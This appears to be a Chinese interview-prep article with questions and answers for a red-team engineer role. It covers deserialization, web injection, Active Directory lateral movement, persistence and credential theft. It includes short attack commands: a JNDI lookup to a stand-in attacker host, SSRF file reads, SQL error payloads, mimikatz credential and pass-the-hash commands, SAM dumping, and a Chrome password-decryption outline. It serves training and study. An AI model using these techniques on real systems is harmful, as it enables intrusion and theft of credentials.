2025年渗透测试面试题总结-匿名[校招]红队攻防工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[校招]红队攻防工程师
1. 00截断的原理
2. Java回显通用思路及JDK差异
3. Redis利用姿势及环境差异
4. Shiro限制Payload长度的绕过
5. Fastjson回显实现
6. 文件上传白名单绕过
7. MVC代码审计流程
8. DOM型XSS
9. SSRF利用点
10. SQL注入报错函数及空表利用
11. JNDI注入原理
12. 泛微OA Xstream回显差异
13. 端口389与域控判断
14. 横向移动技术(工作组/域)
15. Windows认证协议与哈希传递
16. 权限维持技术
17. 横向移动姿势及原理
18. 凭证获取与对抗
19. 白银票据与黄金票据
20. 对抗杀软的后门用户
21. Chrome密码Dump原理与工具实现
匿名[校招]红队攻防工程师
1. 00截断的原理 2. Java回显的通用思路以及不同版本jdk的差异 3. Java 回显 4. Redis 利用姿势及环境差异 5. shiro 限制payload长度 6. fastjson回显 7. 文件上传白名单利用 8. mvc代码审计流程 9. dom 型 xss 10. ssrf 利用点 11. sql注入的报错函数 12. sql注入点,空表如何利用 13. jndi注入及原理 14. 泛微oa xstream的回显(jdk1.8和1.7的差异) 15. 端口 389 16. 判断域控的几种方式 17. 工作组横向 18. 域内横向 19. Windows认证协议 20. 判断是否在域内 21. hash传递原理 22. 权限维持 23. 横向移动的各种姿势及原理 24. 凭证获取(姿势/常用/原理/对抗) 25. 白银票据黄金票据 26. 如何对抗杀软加后门用户 27. Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理).
1. 00截断的原理
- 核心机制:利用空字符(
%00
或\x00
)截断后续字符串,绕过文件扩展名检查。- 触发条件:PHP版本≤5.3且
magic_quotes_gpc=Off
,系统未过滤空字符。- 实例场景:上传文件名
shell.php%00.jpg
,后端校验.jpg
,但保存为.php
。
2. Java回显通用思路及JDK差异
- 异常回显:通过异常堆栈信息泄露敏感数据(如
e.printStackTrace()
直接输出至页面)。- 反射注入:
- 从
Request
对象提取HttpServletResponse
,写入数据(如response.getWriter().write("result")
)。- 利用
ThreadLocal
获取当前线程的上下文对象。- 内存马动态注册:
- 注入Filter/Servlet,劫持请求处理逻辑(如
FilterChain
插入恶意Filter)。
- JDK版本差异:
- JDK ≤8u191:支持远程加载恶意类(如JNDI注入)。
- JDK >8u191:限制远程类加载,需本地利用链(如
TemplatesImpl
结合字节码注入)。
3. Redis利用姿势及环境差异
- 常见攻击手法:
- 写SSH公钥:通过
config set dir
切换目录,写入authorized_keys
。- Webshell写入:需Web目录可写权限(如
config set dir /var/www/html
)。- 主从复制RCE:恶意主节点同步恶意模块(利用
MODULE LOAD
加载.so
文件)。- 环境差异影响:
- Linux:Redis以root运行时可直接覆盖敏感文件(如
/etc/crontab
)。- Windows:路径需转义(
C:\\web\\shell.php
),且依赖写权限和Web服务。
4. Shiro限制Payload长度的绕过
- 精简Payload:
- 选择更短的反序列化链(如
CommonsBeanutils1
长度小于CommonsCollections2
)。- 使用AES-GCM加密模式减少填充长度(默认CBC填充可能增加30%长度)。
- 分块传输:
- 利用Shiro的Cookie自动拼接特性,拆分Payload为多个Cookie段。
- 二次反序列化:
- 构造嵌套反序列化结构,外层Payload触发内层恶意对象加载。
5. Fastjson回显实现
- JdbcRowSetImpl链:
- 触发JNDI注入,LDAP服务返回恶意类,在类初始化时通过反射写入回显结果。
- TemplatesImpl链:
- 直接加载字节码,通过
_outputProperties
触发恶意逻辑,结合ThreadLocal
获取Response对象。- 自定义恶意类:
- 构造类的
toString()
或getter
方法,在反序列化时自动触发数据输出。
6. 文件上传白名单绕过
- 解析漏洞利用:
- Apache:
shell.php.xxx
优先解析为PHP(配置AddHandler
问题)。- IIS:分号截断(
shell.asp;.jpg
)或畸形文件名。- .htaccess重写规则:
- 上传
.htaccess
文件设置AddType application/x-httpd-php .xxx
。- 大小写/空格绕过:
- 后缀名大小写混淆(
.Php
)或末尾加空格(shell.php
)。
7. MVC代码审计流程
- 入口点定位:
- 分析路由注解(如
@RequestMapping
)及参数绑定(@RequestParam
)。- 危险函数追踪:
- SQL拼接(
StringBuffer
)、表达式解析(SPEL/OGNL)、反序列化(ObjectInputStream
)。- 权限校验逻辑:
- 检查
Interceptor
或Filter
是否遗漏权限控制(如越权访问)。- 历史漏洞复现:
- 针对框架版本(如Spring Security OAuth2的开放重定向漏洞)。
8. DOM型XSS
- 触发点分析:
- 前端直接操作DOM(如
document.write(location.hash.substr(1))
)。- 常见漏洞代码:
eval()
动态执行、innerHTML
拼接用户输入、location
参数未过滤。- 防御策略:
- 使用
textContent
替代innerHTML
,输入内容编码(如encodeURIComponent
)。
9. SSRF利用点
- 协议攻击:
- file协议:读取本地文件(
file:///etc/passwd
)。- gopher协议:构造HTTP/Redis协议攻击内网服务(如Redis未授权访问)。
- 内网服务探测:
- 利用响应时间差异判断端口开放状态(如
http://192.168.1.1:3306
延迟高则MySQL存活)。- 绕过限制:
- DNS重绑定、IPv6地址、短网址跳转。
10. SQL注入报错函数及空表利用
- 报错函数示例:
- MySQL:
extractvalue(1,concat(0x7e,version()))
。- PostgreSQL:
1/(select case when version() ~ '^10' then 0 else 1 end)
。- 空表盲注技巧:
- 布尔盲注:构造条件语句(
AND EXISTS(SELECT 1 FROM dual)
)。- 时间盲注:
IF((SELECT COUNT(*) FROM table)=0, SLEEP(5), 0)
。
11. JNDI注入原理
- 攻击流程:
- 控制JNDI查找地址(如
ldap://attacker.com/Exploit
),触发目标加载恶意类。- 版本限制:
- JDK ≤8u191:允许远程类加载,直接RCE。
- JDK >8u191:仅支持本地类或指定工厂类(需结合其他漏洞链)。
- 防御绕过:
- 利用本地Classpath中的已知类(如
org.apache.naming.factory.BeanFactory
)。
12. 泛微OA Xstream回显差异
- JDK 1.7:
- 直接利用
TemplatesImpl
加载字节码,通过getOutputProperties()
触发代码执行。- JDK 1.8:
TemplatesImpl
类加载限制,需结合其他链(如Spring
的AbstractBeanFactoryPointcutAdvisor
)。
13. 端口389与域控判断
- 端口389用途:
- LDAP服务默认端口,用于域用户认证、组策略同步。
- 域控识别方法:
- DNS查询:
nslookup -type=SRV _ldap._tcp.dc._msdcs.< 域名>
。- 命令行:
netdom query fsmo
或net group "Domain Controllers" /domain
。
14. 横向移动技术(工作组/域)
- 工作组横向:
- SMB爆破:使用
psexec
或crackmapexec
执行命令。- WMI远程执行:
wmic /node:IP process call create "cmd.exe"
。- 域内横向:
- 票据传递(PtT):导出票据(
mimikatz sekurlsa::tickets /export
)并重用。- DCOM组件:利用MMC20.Application远程执行命令。
15. Windows认证协议与哈希传递
- 协议对比:
- NTLM:基于挑战-响应,易受Pass-the-Hash攻击。
- Kerberos:依赖票据(黄金票据伪造TGT,白银票据伪造服务票据)。
- 哈希传递原理:
- 直接使用NTLM哈希生成认证令牌,绕过明文密码需求(
sekurlsa::pth /user:admin /ntlm:HASH
)。
16. 权限维持技术
- 持久化方法:
- 计划任务:
schtasks /create /sc minute /tn "Task" /tr "恶意命令"
。- 服务创建:
sc create Service binPath= "恶意路径" start= auto
。- 注册表启动项:
- 写入
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
。
17. 横向移动姿势及原理
- WMI远程执行:
- 通过
Win32_Process
类创建进程(Invoke-WmiMethod
)。- PsExec工具:
- 利用SMB协议上传服务并执行命令(需管理员权限)。
- Pass-the-Ticket:
- 重用Kerberos票据访问受限资源(如域控的
HOST
服务)。
18. 凭证获取与对抗
- 常见获取方式:
- LSASS内存提取:
mimikatz sekurlsa::logonpasswords
。- 注册表转储SAM:
reg save HKLM\SAM sam.save
。- 对抗手段:
- 启用Credential Guard、限制调试权限(
SeDebugPrivilege
)。
19. 白银票据与黄金票据
- 黄金票据(Golden Ticket):
- 伪造TGT,需域控的
krbtgt
账户的NTLM哈希,允许访问任意服务。- 白银票据(Silver Ticket):
- 伪造服务票据,需服务账户的NTLM哈希,仅限特定服务(如CIFS)。
20. 对抗杀软的后门用户
- 隐蔽创建用户:
- 使用
net user
命令创建用户并加入隐藏组(如net localgroup "Users"
隐藏)。- 注册表隐藏:
- 修改
HKLM\SAM\SAM\Domains\Account\Users
中的用户键值属性。
21. Chrome密码Dump原理与工具实现
- 文件定位:
- 用户数据目录:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
。- 解密流程:
- 调用Windows DPAPI解密Master Key(
CryptUnprotectData
API)。- 解密SQLite数据库中的密码字段(AES-256-GCM算法)。
- 工具设计思路:
- 读取
Login Data
文件,提取加密密码。- 调用系统API解密密钥,最终输出明文密码。